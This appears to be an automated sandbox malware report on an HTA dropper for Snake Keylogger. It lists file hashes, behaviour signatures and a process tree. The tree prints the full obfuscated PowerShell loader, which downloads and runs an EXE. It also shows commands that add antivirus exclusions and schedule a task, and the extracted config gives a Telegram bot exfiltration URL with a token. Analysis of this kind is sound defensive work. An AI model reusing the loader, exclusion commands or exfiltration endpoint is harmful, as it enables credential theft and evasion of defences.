Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
143s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
-
submitted
22/09/2023, 13:36
General
-
Target
mkhg_Zvfw.hta
-
Size
47KB
-
MD5
1021b9b4d037fc4076b1e9ab096b2865
-
SHA1
fe99b870362e9c2494ff5ff871030f9e7c697975
-
SHA256
0677bfc48f0007ebc9595793109fd6b7d096c800aa8dfcd1a2736f57896e0b8e
-
SHA512
224ad1edec31f48ebecb4fe54defd7a91f13621de568f1321b3ef92ced2e251fd5506c6d3243fdb4354a55da72bb6bb137fa1611d03995a24d7aca1a70fb470c
-
SSDEEP
768:s+xarxSyLCcHOJvVxZFGrnath42PZHpkIV0T3ytMQOtW4vrjz9kuxY:jmXHkVxZFKnm22PZHGIV0T3ytM443z94
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot6316392918:AAHcjKTVDupG6SMH3LkXAeVBgHKlqsAcmRU/sendMessage?chat_id=6445748530
Signatures
-
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
-
Snake Keylogger payload 1 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 23 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mkhg_Zvfw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function uSWqwLZ($cp, $XJ){[IO.File]::WriteAllBytes($cp, $XJ)};function jhyGHN($cp){if($cp.EndsWith((ibgYtJc @(19267,19321,19329,19329))) -eq $True){Start-Process (ibgYtJc @(19335,19338,19331,19321,19329,19329,19272,19271,19267,19322,19341,19322)) $cp}else{Start-Process $cp}};function DHrFVKXC($ga){$s = New-Object (ibgYtJc @(19299,19322,19337,19267,19308,19322,19319,19288,19329,19326,19322,19331,19337));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$XJ = $s.DownloadData($ga);return $XJ};function ibgYtJc($XT){$JP=19221;$Lh=$Null;foreach($x in $XT){$Lh+=[char]($x-$JP)};return $Lh};function urDot(){$rKnrKiotC = $env:APPDATA + '\';$wSHIYk = DHrFVKXC (ibgYtJc @(19325,19337,19337,19333,19279,19268,19268,19270,19276,19278,19267,19273,19272,19267,19270,19276,19275,19267,19273,19271,19268,19328,19338,19320,19326,19268,19308,19309,19340,19290,19323,19287,19340,19291,19332,19327,19306,19297,19276,19290,19332,19267,19322,19341,19322));$QOuJyV = $rKnrKiotC + 'WXwEfBwFojUL7Eo.exe';uSWqwLZ $QOuJyV $wSHIYk;jhyGHN $QOuJyV;;;;}urDot;2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\WXwEfBwFojUL7Eo.exe"C:\Users\Admin\AppData\Roaming\WXwEfBwFojUL7Eo.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\WXwEfBwFojUL7Eo.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\dSirXQFPjw.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dSirXQFPjw" /XML "C:\Users\Admin\AppData\Local\Temp\tmp15F4.tmp"4⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Roaming\WXwEfBwFojUL7Eo.exe"C:\Users\Admin\AppData\Roaming\WXwEfBwFojUL7Eo.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD58ec831f3e3a3f77e4a7b9cd32b48384c
SHA1d83f09fd87c5bd86e045873c231c14836e76a05c
SHA2567667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
SHA51226bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3
-
Filesize
2KB
MD525604a2821749d30ca35877a7669dff9
SHA149c624275363c7b6768452db6868f8100aa967be
SHA2567f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476
SHA512206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5
-
Filesize
18KB
MD5ee7fdd66cc9a6743308bef89899572bf
SHA18342ddac6a91ca52a29f5b66ed291fc4467d68e4
SHA2562d13862411b79c2526da3f58c6dd996cf6e468cdd5a2d7ad4cd60d7d8db10b05
SHA5129bcebc4d59b939bb211527dce57f594895221ded1aca780d4dc8d367ebd51658b4edfadb6f68f374e8b357a978d509f96f5d36b5b3771c12bd66a15b85fba918
-
Filesize
17KB
MD5a48d84ff71b7272c75869002fa6a1e69
SHA15bda026377b4ea6bb3d27787ad69e7570494c8a2
SHA256fffb43057261bb6ef1a86cb8c5a4fe46558df47f368c3f0cb34d4754bc0c5d17
SHA512a5378e6ddcea04ac47e4981ba7a30316f88ad48c3fb981c2dfce26ab7b8cc8373cae868f969271444ba284a530f438d39fc8bf7dcbb3712b42b7f42b6048f32e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD5bb5821566ed84821907ee6df45d6eaa0
SHA16a29353f85779264bf5dfc4c6616b0e27b225a77
SHA25603ac76680160401f31a76a8d49fc11bd852e7d22a7ea5c3d323b06c5c55fb988
SHA512bfbdd9208817cd773f7a10199ec2b8728b815780bc7c89be8b4dc40d76ee03b7277a25ab54826a932148959dd4e6d62abac809743ac9954c54c8d164eaaab16a
-
Filesize
542KB
MD5fb6436801517f4cb1748ba4bf9df2df4
SHA12c36e323268892dc7f9987fb5200ee1fb2336df0
SHA256f8e42f0b33b357352164af46809b4ba2fd3f213059b4f7d1a38c9df1e84e6b12
SHA51277140f0e92be4f7b931f33949ef4640b8d02bebcc43e0aec97618eb731efb07acb0648efcc10af630f2440bc2c8fa45b3862b8d77ce5c3f9d908ac9b22bf6977
-
Filesize
542KB
MD5fb6436801517f4cb1748ba4bf9df2df4
SHA12c36e323268892dc7f9987fb5200ee1fb2336df0
SHA256f8e42f0b33b357352164af46809b4ba2fd3f213059b4f7d1a38c9df1e84e6b12
SHA51277140f0e92be4f7b931f33949ef4640b8d02bebcc43e0aec97618eb731efb07acb0648efcc10af630f2440bc2c8fa45b3862b8d77ce5c3f9d908ac9b22bf6977
-
Filesize
542KB
MD5fb6436801517f4cb1748ba4bf9df2df4
SHA12c36e323268892dc7f9987fb5200ee1fb2336df0
SHA256f8e42f0b33b357352164af46809b4ba2fd3f213059b4f7d1a38c9df1e84e6b12
SHA51277140f0e92be4f7b931f33949ef4640b8d02bebcc43e0aec97618eb731efb07acb0648efcc10af630f2440bc2c8fa45b3862b8d77ce5c3f9d908ac9b22bf6977
-
Filesize
542KB
MD5fb6436801517f4cb1748ba4bf9df2df4
SHA12c36e323268892dc7f9987fb5200ee1fb2336df0
SHA256f8e42f0b33b357352164af46809b4ba2fd3f213059b4f7d1a38c9df1e84e6b12
SHA51277140f0e92be4f7b931f33949ef4640b8d02bebcc43e0aec97618eb731efb07acb0648efcc10af630f2440bc2c8fa45b3862b8d77ce5c3f9d908ac9b22bf6977
-
Filesize
1.8MB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
152KB
-
Filesize
7.7MB
-
Filesize
320KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
3.3MB
-
Filesize
64KB
-
Filesize
80KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
56KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
120KB
-
Filesize
200KB
-
Filesize
68KB
-
Filesize
104KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
384KB
-
Filesize
48KB
-
Filesize
568KB
-
Filesize
584KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
104KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
624KB
-
Filesize
7.7MB
-
Filesize
304KB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
408KB
-
Filesize
120KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
136KB